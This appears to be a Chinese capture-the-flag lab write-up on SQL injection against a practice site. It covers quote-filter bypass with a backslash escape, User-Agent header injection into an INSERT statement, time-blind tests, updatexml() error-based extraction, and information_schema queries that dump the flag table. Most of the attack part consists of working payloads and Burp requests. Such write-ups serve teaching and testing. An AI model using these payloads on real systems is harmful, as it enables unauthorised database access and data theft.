SQL注入之 head 注入与引号绕过
http://injectx1.lab.aqlab.cn:81/Pass-07/index.php?action=show_codea
0x00 先说结论
- 使用
-- gg
比 --+
更通用,GET 中 +
会转为 空格
但 POST 中不会 - 其他而言,
HEAD
注入与参数注入利用方式差别不大。 - 目前看来
INSERT
最难利用的是在判断 字段 插入位置和值对应类型 。- 使用
updatexml()
函数报错 xpath - 由于 0x7e 是 ~ ,不属于xpath语法格式, 因此报出xpath语法错误。
0x01 分析代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| $username = $_POST['username'];
$password = $_POST['password'];
// 获取 useragent
$uagent = $_SERVER['HTTP_USER_AGENT'];
$jc = $username.$password; // 这里很重要 @1
$sql = 'select *from user where username =\''.$username.'\' and password=\''.$password.'\'';
// 检测单引号,有则报错 // @1 检查的是 username.password 的组合,其中不能出现 '
if(preg_match('/.*\'.*/',$jc)!== 0){die('为了网站安全性,禁止输入某些特定符号');}
mysqli_select_db($conn,'****');//不想告诉你库名
// 注入点 1
$result = mysqli_query($conn,$sql);
$row = mysqli_fetch_array($result);
$uname = $row['username'];
$passwd = $row['password'];
if($row){
// 注入点2 : 要求能查询到用户信息
$Insql = "INSERT INTO uagent (`uagent`,`username`) VALUES ('$uagent','$uname')";
$result1 = mysqli_query($conn,$Insql);
print_r(mysqli_error($conn));
echo '成功登录';
|
burpsuite repeat
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| POST /Pass-07/index.php HTTP/1.1
Host: injectx1.lab.aqlab.cn:81
Content-Length: 51
Cache-Control: max-age=0
Origin: http://injectx1.lab.aqlab.cn:81
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://injectx1.lab.aqlab.cn:81/Pass-07/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh,en-US;q=0.9,en;q=0.8,zh-CN;q=0.7
Connection: close
username=123&password=123&submit=%E7%99%BB%E5%BD%95
|
0x02 注入
0x02.1 判断登录账户,尝试绕过单引号
1. 使用双 urlencoded, 并通过时间盲注判断是否成功
1
| username=1%2527 or if(2>1,sleep(3),null) --+
|
失败
利用2个变量的闭合4个单引号。 使用 反斜线 \ 逃脱
1
2
| -- payload
-- username=admin\&password= or 1=1 -- qwe
|

注意:
- 变量注入不仅仅是一个位置的事情, 在多变量时,遇到反制可以混合利用。
POST
注入时, +
不会默认转换成 空格
, 因此在注释语句时, 需要使用 -- gg
。 后者使用场景更为通用。
0x02.2 利用 User-Agent 注入
- User-Agent 或者说 Head 注入, 更多对应的语句是 Insert 或者 Update 这类修改语句。且这类语句执行不会有明显的执行。 利用方式常见的有一下两种
- 报错注入 : 使用
updatexml()
函数强制报错返回信息。 - 时间盲注
猜测利用方式
1
2
3
| -- 猜测原始语句
INSERT INTO uagent (`uagent`,`username`) VALUES ('$uagent','$uname');
UPDATE uagent SET uagent='$uagent' where username='$username';
|
mock-ver01
模拟 : 构造 SQL 语句测试, 如果插入 VALUES
数量不等, 则会出现 SQL 语句错误。mock-ver02
模拟 : 所有字段猜测正确执行成功, 可以执行。- 注意 但在实际测试时。 由于时两条语句。 sleep(10) 被跳过了。 因此,或许只能在 一条语句中。
mock-ver03
模拟 : 字段数量正确,但 id
数据类型有误,SQL 通不过, 执行被跳过。
1
2
3
4
5
6
7
8
9
| -- mock-ver01
INSERT INTO uagent (`uagent`,`username`) VALUES ('Mozilla 5.0' or (select sleep(5))) -- 1 ,'$uname');
-- mock-ver02
INSERT INTO uagent(`username`,`uagent`) VALUES ('Mozilla 5.0', 'gg') ; SELECT sleep(10); -- gg ','$uagent');
-- mock-ver03
INSERT INTO uagent(`username`,id) VALUES ('Mozilla 5.0', 'gg') ; SELECT sleep(10); -- gg ','$uagent');
|

如果原语句是 Update 语句。
mock sql ver01
模拟: 虽然可以利用,但是由于 where 语句被屏蔽了导致所有数据被更新。 三年起步, 三年起步mock sql ver01
模拟: 在 UPDATE 语句上更新 Where
条件屏蔽更新。 狗命要紧
1
2
3
4
5
| -- mock sql ver01
UPDATE uagent SET uagent='Mozila 5.0' ; (SELECT SLEEP(10)) -- gg ' where username='$username';
-- mock sql ver02
UPDATE uagent SET uagent='Mozila 5.0' WHERE 2<1 ; (SELECT SLEEP(10)) -- gg ' where username='$username';
|
0x02.3 使用 updatexml() 进行报错利用
在本地 mock 语句。 与上面预测的一样, 仅在一条 Insert
语句中, 可以使用 ** UPDATEXML 报错注入**。
payload: mozilla' , UPDATEXML(1,CONCAT(0x7e,database(),0x7e),1)) -- gg
1
2
3
| INSERT INTO uagent (`uagent`,`username`) VALUES ('mozilla' , UPDATEXML(1,CONCAT(0x7e,database(),0x7e),1)) -- gg ','$username')
-- 报错信息 1105 - XPATH syntax error: '~zkaq~', Time: 0.002000s
|

利用
打开 burpsuite
抓包利用, 为了方便查看, 此处显示代码 highlight
为 bash
, 并在 利用处使用 注释及缩进 高亮处理
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| POST /Pass-07/index.php HTTP/1.1
Host: injectx1.lab.aqlab.cn:81
Content-Length: 36
Cache-Control: max-age=0
Origin: http://injectx1.lab.aqlab.cn:81
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
# User-Agent: mozilla' , UPDATEXML(1,CONCAT(0x7e,database(),0x7e),1)) -- gg
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://injectx1.lab.aqlab.cn:81/Pass-07/index.php?action=show_code
Accept-Encoding: gzip, deflate
Accept-Language: zh,en-US;q=0.9,en;q=0.8,zh-CN;q=0.7
Connection: close
# username=\&password= or 1=1 ; -- gg
|

- UPDATEXML() 仅支持常量。
Only constant XPATH queries are supported
, 因此简单的时间盲注就不可用了。
UPDATEXML(1,CONCAT(0x7e, (select sleep(10)) ,0x7e),1))
- 由于 布尔盲注 返回结果是
1/0
, XPATH syntax error: '~1~'
因此可以使用。
UPDATEXML(1,CONCAT(0x7e, (select 1=1) ,0x7e),1))
0x03 找 FLAG
探测完了可利用点, 又是明文报错信息。 FLAG 就好找了。
以下省略完成 BURPSUITE 文件, 仅完善可以利用语句替代 ${SQL} 位置。
1
| User-Agent: mozilla' , UPDATEXML(1,CONCAT(0x7e, ( ${SQL} ) ,0x7e),1)) -- gg
|
0x03.1 探测表
1
2
3
4
| -- 查看当前库所有表
select group_concat(table_name) from information_schema.tables where table_schema=database()
-- result: flag_head,ip,refer,uagent,user
|
还是比较明显了 flag_head
就是我们要找的。
0x03.2 探测字段
1
2
3
4
5
6
7
8
9
10
11
| -- 查询 flag_head 字段名
select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag_head'
-- Id,flag_h1
-- 查询列数量
select count(*) from flag_head
-- result: 3
-- 查询字段值
select group_concat(flag_h1) from flag_head
-- zKaQ-YourHd,zKaQ-Refer,zKaQ-ipi
|
解题完成
0xGG 引用资料